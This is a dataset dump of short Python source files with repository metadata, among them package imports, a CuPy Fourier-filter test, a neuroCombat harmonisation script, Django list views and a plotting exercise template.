dd00f4963b8bb141a578728ff41b355b3b86c1f2 | 96 | py | Python | venv/lib/python3.8/site-packages/html5lib/_utils.py | GiulianaPola/select_repeats | 17a0d053d4f874e42cf654dd142168c2ec8fbd11 | [
"MIT"
] | 2 | 2022-03-13T01:58:52.000Z | 2022-03-31T06:07:54.000Z | venv/lib/python3.8/site-packages/html5lib/_utils.py | DesmoSearch/Desmobot | b70b45df3485351f471080deb5c785c4bc5c4beb | [
"MIT"
] | 19 | 2021-11-20T04:09:18.000Z | 2022-03-23T15:05:55.000Z | venv/lib/python3.8/site-packages/html5lib/_utils.py | DesmoSearch/Desmobot | b70b45df3485351f471080deb5c785c4bc5c4beb | [
"MIT"
] | null | null | null | /home/runner/.cache/pip/pool/03/10/09/486d797b26ab0a028c9e5530cecd57ea31475ea12f8656043b10059a2b | 96 | 96 | 0.895833 | 9 | 96 | 9.555556 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.46875 | 0 | 96 | 1 | 96 | 96 | 0.427083 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
dd0ee4259becca309ef76ebcf8198c7d047ad7c0 | 109 | py | Python | bitmovin_api_sdk/encoding/configurations/audio/he_aac_v2/customdata/__init__.py | jaythecaesarean/bitmovin-api-sdk-python | 48166511fcb9082041c552ace55a9b66cc59b794 | [
"MIT"
] | 11 | 2019-07-03T10:41:16.000Z | 2022-02-25T21:48:06.000Z | bitmovin_api_sdk/encoding/configurations/audio/he_aac_v2/customdata/__init__.py | jaythecaesarean/bitmovin-api-sdk-python | 48166511fcb9082041c552ace55a9b66cc59b794 | [
"MIT"
] | 8 | 2019-11-23T00:01:25.000Z | 2021-04-29T12:30:31.000Z | bitmovin_api_sdk/encoding/configurations/audio/he_aac_v2/customdata/__init__.py | jaythecaesarean/bitmovin-api-sdk-python | 48166511fcb9082041c552ace55a9b66cc59b794 | [
"MIT"
] | 13 | 2020-01-02T14:58:18.000Z | 2022-03-26T12:10:30.000Z | from bitmovin_api_sdk.encoding.configurations.audio.he_aac_v2.customdata.customdata_api import CustomdataApi
| 54.5 | 108 | 0.908257 | 15 | 109 | 6.266667 | 0.866667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.009524 | 0.036697 | 109 | 1 | 109 | 109 | 0.885714 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
dd2e07df1a84917063ad35711d4fd26d2668fabc | 48 | py | Python | etc/test1.py | zhangbo2008/facenet | 4dfabcb5cf14f99622dbe5f9f12f0539821c169c | [
"MIT"
] | null | null | null | etc/test1.py | zhangbo2008/facenet | 4dfabcb5cf14f99622dbe5f9f12f0539821c169c | [
"MIT"
] | 7 | 2019-12-16T22:10:01.000Z | 2022-02-10T00:27:35.000Z | etc/test1.py | zhangbo2008/facenet | 4dfabcb5cf14f99622dbe5f9f12f0539821c169c | [
"MIT"
] | null | null | null | print(int(round(34/10)))
# print(add([1,3,4,4])) | 24 | 24 | 0.604167 | 11 | 48 | 2.636364 | 0.818182 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.173913 | 0.041667 | 48 | 2 | 25 | 24 | 0.456522 | 0.4375 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 6 |
dd3b051d458319fead636d403c369debe12c253f | 15,105 | py | Python | tests/cupyx_tests/scipy_tests/ndimage_tests/test_fourier.py | prkhrsrvstv1/cupy | ea86c8225b575af9d2855fb77a306cf86fd098ea | [
"MIT"
] | 6,180 | 2016-11-01T14:22:30.000Z | 2022-03-31T08:39:20.000Z | tests/cupyx_tests/scipy_tests/ndimage_tests/test_fourier.py | prkhrsrvstv1/cupy | ea86c8225b575af9d2855fb77a306cf86fd098ea | [
"MIT"
] | 6,281 | 2016-12-22T07:42:31.000Z | 2022-03-31T19:57:02.000Z | tests/cupyx_tests/scipy_tests/ndimage_tests/test_fourier.py | prkhrsrvstv1/cupy | ea86c8225b575af9d2855fb77a306cf86fd098ea | [
"MIT"
] | 829 | 2017-02-23T05:46:12.000Z | 2022-03-27T17:40:03.000Z | import cupy
import numpy
import pytest
from cupy import testing
# TODO (grlee77): use fft instead of fftpack once min. supported scipy >= 1.4
import cupyx.scipy.fft # NOQA
import cupyx.scipy.fftpack # NOQA
import cupyx.scipy.ndimage # NOQA
try:
# scipy.fft only available since SciPy 1.4.0
import scipy.fft ... | 35.374707 | 77 | 0.559881 | 2,077 | 15,105 | 3.950891 | 0.079442 | 0.019498 | 0.017548 | 0.024129 | 0.907019 | 0.900195 | 0.900195 | 0.891299 | 0.869364 | 0.86193 | 0 | 0.036137 | 0.30566 | 15,105 | 426 | 78 | 35.457746 | 0.746281 | 0.077325 | 0 | 0.689076 | 0 | 0 | 0.032001 | 0 | 0 | 0 | 0 | 0.002347 | 0 | 1 | 0.067227 | false | 0.005602 | 0.036415 | 0 | 0.204482 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
dd516764d3e618fc8d01f2e706d6123f5dbf5b6d | 23 | py | Python | openapi_typed/__init__.py | mikesol/openapi-typed | 976572c9a09f6421469dc38999b7e0d87529bbe1 | [
"MIT"
] | 3 | 2020-10-09T06:38:41.000Z | 2021-02-11T23:43:16.000Z | openapi_typed/__init__.py | mikesol/openapi-typed | 976572c9a09f6421469dc38999b7e0d87529bbe1 | [
"MIT"
] | 1 | 2020-01-28T13:05:01.000Z | 2020-01-28T13:05:01.000Z | openapi_typed/__init__.py | unmock/openapi-typed | 976572c9a09f6421469dc38999b7e0d87529bbe1 | [
"MIT"
] | 1 | 2021-02-22T18:45:40.000Z | 2021-02-22T18:45:40.000Z | from .openapi import *
| 11.5 | 22 | 0.73913 | 3 | 23 | 5.666667 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.173913 | 23 | 1 | 23 | 23 | 0.894737 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
66023c4d69cbabb21ef368858aee963124b14680 | 146 | py | Python | src/stackoverflow/63132966/img.py | mrdulin/python-codelab | 3d960a14a96b3a673b7dc2277d202069b1f8e778 | [
"MIT"
] | null | null | null | src/stackoverflow/63132966/img.py | mrdulin/python-codelab | 3d960a14a96b3a673b7dc2277d202069b1f8e778 | [
"MIT"
] | null | null | null | src/stackoverflow/63132966/img.py | mrdulin/python-codelab | 3d960a14a96b3a673b7dc2277d202069b1f8e778 | [
"MIT"
] | 3 | 2020-02-19T08:02:04.000Z | 2021-06-08T13:27:51.000Z | from PIL import Image
class Img:
def __init__(self):
self.image = '123'
def close(self):
Image.Image.close(self.image)
| 14.6 | 37 | 0.609589 | 20 | 146 | 4.25 | 0.55 | 0.317647 | 0.329412 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.028571 | 0.280822 | 146 | 9 | 38 | 16.222222 | 0.780952 | 0 | 0 | 0 | 0 | 0 | 0.020548 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0.166667 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 6 |
b072910ae9468204af91de40ce0857daf38a8cee | 172 | py | Python | avatar_crop/__init__.py | zen4ever/django-avatar-crop | d587b38d9ec6ee645b159fbb5e3febf8205549ee | [
"MIT"
] | 10 | 2015-03-03T07:20:16.000Z | 2019-04-21T12:17:19.000Z | avatar_crop/__init__.py | zen4ever/django-avatar-crop | d587b38d9ec6ee645b159fbb5e3febf8205549ee | [
"MIT"
] | 5 | 2015-09-15T14:05:54.000Z | 2021-06-10T17:29:58.000Z | avatar_crop/__init__.py | zen4ever/django-avatar-crop | d587b38d9ec6ee645b159fbb5e3febf8205549ee | [
"MIT"
] | 1 | 2015-09-15T12:16:42.000Z | 2015-09-15T12:16:42.000Z | from django.conf import settings
AVATAR_CROP_MAX_SIZE = getattr(settings, 'AVATAR_CROP_MAX_SIZE', 450)
AVATAR_CROP_MIN_SIZE = getattr(settings, 'AVATAR_CROP_MIN_SIZE', 49)
| 43 | 69 | 0.831395 | 27 | 172 | 4.851852 | 0.481481 | 0.305344 | 0.412214 | 0.320611 | 0.656489 | 0 | 0 | 0 | 0 | 0 | 0 | 0.031646 | 0.081395 | 172 | 3 | 70 | 57.333333 | 0.797468 | 0 | 0 | 0 | 0 | 0 | 0.232558 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
b0deda794fe2abcaf3b589fd090d37f8059dbd86 | 228 | py | Python | bspump/common/__init__.py | gitter-badger/bspump | 68b9f51a77a2d6755fb3295d5397b662bb2ffec7 | [
"BSD-3-Clause"
] | 1 | 2019-04-15T14:02:34.000Z | 2019-04-15T14:02:34.000Z | bspump/common/__init__.py | gitter-badger/bspump | 68b9f51a77a2d6755fb3295d5397b662bb2ffec7 | [
"BSD-3-Clause"
] | null | null | null | bspump/common/__init__.py | gitter-badger/bspump | 68b9f51a77a2d6755fb3295d5397b662bb2ffec7 | [
"BSD-3-Clause"
] | null | null | null | from .print import PrintSink, PPrintSink, PrintProcessor, PPrintProcessor
from .json import JSONParserProcessor
from .null import NullSink
from .tee import TeeProcessor
from .tee import TeeSource
from .tee import InternalSource
| 32.571429 | 73 | 0.842105 | 27 | 228 | 7.111111 | 0.555556 | 0.109375 | 0.203125 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.118421 | 228 | 6 | 74 | 38 | 0.955224 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0.166667 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
b0e86d0338191f788510c48fde7c99f37ccbd62a | 4,521 | py | Python | Testing/norm_python.py | MStarmans91/ComBatHarmonization | b63e791e67a71fb2685beb451763f5bd35dcfdc1 | [
"MIT"
] | null | null | null | Testing/norm_python.py | MStarmans91/ComBatHarmonization | b63e791e67a71fb2685beb451763f5bd35dcfdc1 | [
"MIT"
] | null | null | null | Testing/norm_python.py | MStarmans91/ComBatHarmonization | b63e791e67a71fb2685beb451763f5bd35dcfdc1 | [
"MIT"
] | null | null | null | import os
import pandas as pd
import numpy as np
from neuroCombat import neuroCombat
os.chdir('/Users/fortinj2/ComBatHarmonization/testing')
data = np.genfromtxt('inputData/testdata.csv', delimiter=",", skip_header=1)
categorical_cols = ['gender']
batch_col = 'batch'
covars = {'batch':[1,1,1,1,1,2,2,2,2,2], 'gender... | 57.961538 | 144 | 0.813979 | 639 | 4,521 | 5.491393 | 0.073552 | 0.075235 | 0.062981 | 0.109433 | 0.93075 | 0.924195 | 0.924195 | 0.823311 | 0.751496 | 0.715019 | 0 | 0.016803 | 0.052201 | 4,521 | 77 | 145 | 58.714286 | 0.8021 | 0.066136 | 0 | 0.145833 | 0 | 0 | 0.285067 | 0.269323 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.083333 | 0 | 0.083333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
9fdb20d8e1038e01abe520db993e7e5294678184 | 31 | py | Python | tests_requirements/metric_dependency.py | zyfra/ebonite | b01b662c43709d152940f488574d78ff25f89ecf | [
"Apache-2.0"
] | 270 | 2019-11-14T15:46:08.000Z | 2021-09-17T16:43:03.000Z | tests_requirements/metric_dependency.py | leepand/ebonite | b01b662c43709d152940f488574d78ff25f89ecf | [
"Apache-2.0"
] | 14 | 2019-11-29T11:49:39.000Z | 2022-02-10T00:23:59.000Z | tests_requirements/metric_dependency.py | leepand/ebonite | b01b662c43709d152940f488574d78ff25f89ecf | [
"Apache-2.0"
] | 18 | 2019-11-22T13:15:14.000Z | 2021-09-01T13:36:12.000Z | def some_func():
return 10
| 10.333333 | 16 | 0.645161 | 5 | 31 | 3.8 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.086957 | 0.258065 | 31 | 2 | 17 | 15.5 | 0.73913 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | true | 0 | 0 | 0.5 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 6 |
9fdc67e287d4203e0953dc66b80a550320d9eb22 | 280 | py | Python | {{cookiecutter.project_slug}}/features/steps/use_steplib_behave4cli.py | opinionated-digital-center/python-library-project-generator | 00171a1f02171f06f1d5b31baf6ec1c4e56490a0 | [
"MIT"
] | 3 | 2021-11-29T14:59:12.000Z | 2022-02-26T23:26:58.000Z | {{cookiecutter.project_slug}}/features/steps/use_steplib_behave4cli.py | opinionated-digital-center/python-library-project-generator | 00171a1f02171f06f1d5b31baf6ec1c4e56490a0 | [
"MIT"
] | 33 | 2020-04-07T17:01:04.000Z | 2022-02-25T09:25:26.000Z | {{cookiecutter.project_slug}}/features/steps/use_steplib_behave4cli.py | opinionated-digital-center/cookiecutter-pypackage | f5f74b1976835ecd8a7b0c46cb2198c95c88526f | [
"MIT"
] | 1 | 2020-04-07T14:44:59.000Z | 2020-04-07T14:44:59.000Z | # -*- coding: utf-8 -*-
"""
Use behave4cli step library.
"""
from __future__ import absolute_import
# -- REGISTER-STEPS FROM STEP-LIBRARY:
import behave4cli.__all_steps__
import behave4cli.failing_steps
import behave4cli.note_steps
import behave4cli.passing_steps # noqa: F401
| 21.538462 | 45 | 0.778571 | 35 | 280 | 5.857143 | 0.542857 | 0.312195 | 0.307317 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.036585 | 0.121429 | 280 | 12 | 46 | 23.333333 | 0.796748 | 0.353571 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.2 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 6 |
9fe7e23fce1d67b53d7fe1fe3b5d2d66fc0d96ac | 2,109 | py | Python | specs/scenarios/stale_status.py | bitgn/ml-pipelines | 904b6fa200aac1638491658c2d51ea40c33cbffa | [
"BSD-2-Clause"
] | 7 | 2019-07-25T05:36:21.000Z | 2020-08-23T18:04:53.000Z | specs/scenarios/stale_status.py | bitgn/ml-pipelines | 904b6fa200aac1638491658c2d51ea40c33cbffa | [
"BSD-2-Clause"
] | 1 | 2019-08-18T14:05:49.000Z | 2019-08-18T17:51:39.000Z | specs/scenarios/stale_status.py | bitgn/ml-pipelines | 904b6fa200aac1638491658c2d51ea40c33cbffa | [
"BSD-2-Clause"
] | 4 | 2019-08-18T13:42:45.000Z | 2021-04-04T11:15:21.000Z | """MLP-3"""
from datetime import timedelta
from env import *
def given_a_dataset_updated_week_ago(t: Env):
"""show a stale status"""
prj = preset.project_created(t)
ds = preset.dataset_created(t, prj)
ver = preset.dataset_version_added(t, ds, ts=timedelta(days=-7))
t.given_events(prj, ds, ver)
... | 23.965909 | 68 | 0.597914 | 296 | 2,109 | 4.125 | 0.158784 | 0.117117 | 0.127764 | 0.066339 | 0.891892 | 0.840295 | 0.840295 | 0.840295 | 0.840295 | 0.807535 | 0 | 0.001242 | 0.236605 | 2,109 | 87 | 69 | 24.241379 | 0.757143 | 0.028924 | 0 | 0.65625 | 0 | 0 | 0.184509 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.046875 | false | 0 | 0.03125 | 0 | 0.078125 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
b042c7b17a19de388ae601c4b9ed8c29c40c22d9 | 26 | py | Python | OvifFeature/Ovif/__init__.py | sekharkaredla/ASAGS | 142173fc23bd42dcfdf74cf3850db445864f906a | [
"MIT"
] | 10 | 2018-08-02T09:31:19.000Z | 2022-01-27T19:46:30.000Z | OvifFeature/Ovif/__init__.py | cir7/ASAGS | 142173fc23bd42dcfdf74cf3850db445864f906a | [
"MIT"
] | 3 | 2019-02-08T17:49:54.000Z | 2019-10-31T14:11:58.000Z | OvifFeature/Ovif/__init__.py | cir7/ASAGS | 142173fc23bd42dcfdf74cf3850db445864f906a | [
"MIT"
] | 12 | 2018-04-08T07:48:59.000Z | 2021-12-10T16:44:22.000Z | from ovif import OvifCalc
| 13 | 25 | 0.846154 | 4 | 26 | 5.5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.153846 | 26 | 1 | 26 | 26 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
c65e997046f9d6af96399228c587385ea1d47b23 | 67 | py | Python | pyos/host/__init__.py | dgisolfi/PyOS | 711205f570842a6573b650bde085d9925ee20aaa | [
"MIT"
] | 3 | 2021-01-09T12:44:14.000Z | 2021-01-10T02:23:52.000Z | pyos/host/__init__.py | dgisolfi/PyOS | 711205f570842a6573b650bde085d9925ee20aaa | [
"MIT"
] | null | null | null | pyos/host/__init__.py | dgisolfi/PyOS | 711205f570842a6573b650bde085d9925ee20aaa | [
"MIT"
] | 1 | 2021-01-09T12:44:16.000Z | 2021-01-09T12:44:16.000Z | from pyos.host.devices import Devices
from pyos.host.cpu import CPU | 33.5 | 37 | 0.835821 | 12 | 67 | 4.666667 | 0.5 | 0.285714 | 0.428571 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.104478 | 67 | 2 | 38 | 33.5 | 0.933333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
c6bc134481a1c777ac1aafe26e5c21eda9e959da | 92 | py | Python | backend/util/response/models/discount/__init__.py | willrp/willstores-ws | 62c4f400f40fed1aef4f316c7e73dfecba98d026 | [
"MIT"
] | 4 | 2020-02-19T09:27:23.000Z | 2021-11-26T00:42:06.000Z | backend/util/response/store/models/discount/__init__.py | willrp/willbuyer | 069836a91c777ede6f62a16daa9f26e555d66bcb | [
"MIT"
] | null | null | null | backend/util/response/store/models/discount/__init__.py | willrp/willbuyer | 069836a91c777ede6f62a16daa9f26e555d66bcb | [
"MIT"
] | null | null | null | from .discount_response import DiscountResponse
from .discount_schema import DiscountSchema
| 30.666667 | 47 | 0.891304 | 10 | 92 | 8 | 0.7 | 0.3 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.086957 | 92 | 2 | 48 | 46 | 0.952381 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
c6dd7bbb31415f376187e7aae44aaae892d32114 | 4,165 | py | Python | Translator/views.py | Sofia190/book_store_app | 3c32f269604948bb4a495802d17794a68188e3a5 | [
"MIT"
] | null | null | null | Translator/views.py | Sofia190/book_store_app | 3c32f269604948bb4a495802d17794a68188e3a5 | [
"MIT"
] | null | null | null | Translator/views.py | Sofia190/book_store_app | 3c32f269604948bb4a495802d17794a68188e3a5 | [
"MIT"
] | null | null | null | from django.shortcuts import render, redirect
# Create your views here.
from Translator.models import Translator
def list_view(request):
var=Translator.objects.all()
var.sorted_authors_list = Translator.objects.display_sorted_authors()
print(var.sorted_authors_list)
context_dictionary = {"va... | 17.723404 | 82 | 0.713806 | 502 | 4,165 | 5.609562 | 0.12749 | 0.102273 | 0.067472 | 0.04794 | 0.827415 | 0.755327 | 0.755327 | 0.738636 | 0.738636 | 0.644176 | 0 | 0.007145 | 0.193517 | 4,165 | 234 | 83 | 17.799145 | 0.8312 | 0.005522 | 0 | 0.58427 | 0 | 0 | 0.136254 | 0.127783 | 0 | 0 | 0 | 0 | 0 | 1 | 0.101124 | false | 0 | 0.022472 | 0 | 0.235955 | 0.078652 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
c6f528def2152375daafd2072b852c147b973e1a | 35 | py | Python | warm_up/__init__.py | ELO-Lab/ENAS_TFI | 3888817c489e083309ecbac092625085e06d2493 | [
"MIT"
] | 3 | 2021-12-10T02:07:50.000Z | 2021-12-10T15:07:50.000Z | warm_up/__init__.py | ELO-Lab/ENAS_TFI | 3888817c489e083309ecbac092625085e06d2493 | [
"MIT"
] | null | null | null | warm_up/__init__.py | ELO-Lab/ENAS_TFI | 3888817c489e083309ecbac092625085e06d2493 | [
"MIT"
] | 1 | 2021-12-06T10:07:52.000Z | 2021-12-06T10:07:52.000Z | from .utils import get_population_X | 35 | 35 | 0.885714 | 6 | 35 | 4.833333 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.085714 | 35 | 1 | 35 | 35 | 0.90625 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
05f4f5f70dde4551f24d8c317a4dd02f0b8a2f1e | 31 | py | Python | model/__init__.py | Skye777/ConvLSTM_pytorch | e34fa1c8f4b5f3228d5c974240fc0543aa0ce48a | [
"MIT"
] | 3 | 2019-03-08T17:34:19.000Z | 2020-05-02T15:16:54.000Z | model/__init__.py | Skye777/ConvLSTM_pytorch | e34fa1c8f4b5f3228d5c974240fc0543aa0ce48a | [
"MIT"
] | null | null | null | model/__init__.py | Skye777/ConvLSTM_pytorch | e34fa1c8f4b5f3228d5c974240fc0543aa0ce48a | [
"MIT"
] | null | null | null | from .convlstm import ConvLSTM
| 15.5 | 30 | 0.83871 | 4 | 31 | 6.5 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.129032 | 31 | 1 | 31 | 31 | 0.962963 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
af09c194ced58130412a377eafc62363fb825571 | 41 | py | Python | sql-injection/sql-injection.py | Dhanush-T/website-cracker | 93c6c67c05d4004a3bd10bf017e907afcf3b127b | [
"MIT"
] | null | null | null | sql-injection/sql-injection.py | Dhanush-T/website-cracker | 93c6c67c05d4004a3bd10bf017e907afcf3b127b | [
"MIT"
] | null | null | null | sql-injection/sql-injection.py | Dhanush-T/website-cracker | 93c6c67c05d4004a3bd10bf017e907afcf3b127b | [
"MIT"
] | null | null | null | print("Hi, I'm the SQL-Injection tools")
| 20.5 | 40 | 0.707317 | 8 | 41 | 3.625 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.121951 | 41 | 1 | 41 | 41 | 0.805556 | 0 | 0 | 0 | 0 | 0 | 0.756098 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 6 |
af2df78fea31f89ea0c5605b97141cffa4c46bb2 | 123 | py | Python | exercises/exc_04_03.py | IanHawke/numerical-methods-course | f402faa23ab5ce6a72a7b3b5bf292d5f3c18c645 | [
"MIT"
] | null | null | null | exercises/exc_04_03.py | IanHawke/numerical-methods-course | f402faa23ab5ce6a72a7b3b5bf292d5f3c18c645 | [
"MIT"
] | 8 | 2020-09-09T14:03:31.000Z | 2022-03-02T23:09:49.000Z | exercises/exc_04_03.py | IanHawke/numerical-methods-course | f402faa23ab5ce6a72a7b3b5bf292d5f3c18c645 | [
"MIT"
] | null | null | null | import ___ as np
import ___ as plt
x = ___
plt.___(x, ___)
plt.x___(r"___")
plt.___(___)
plt.title(___)
plt.___(___, ___)
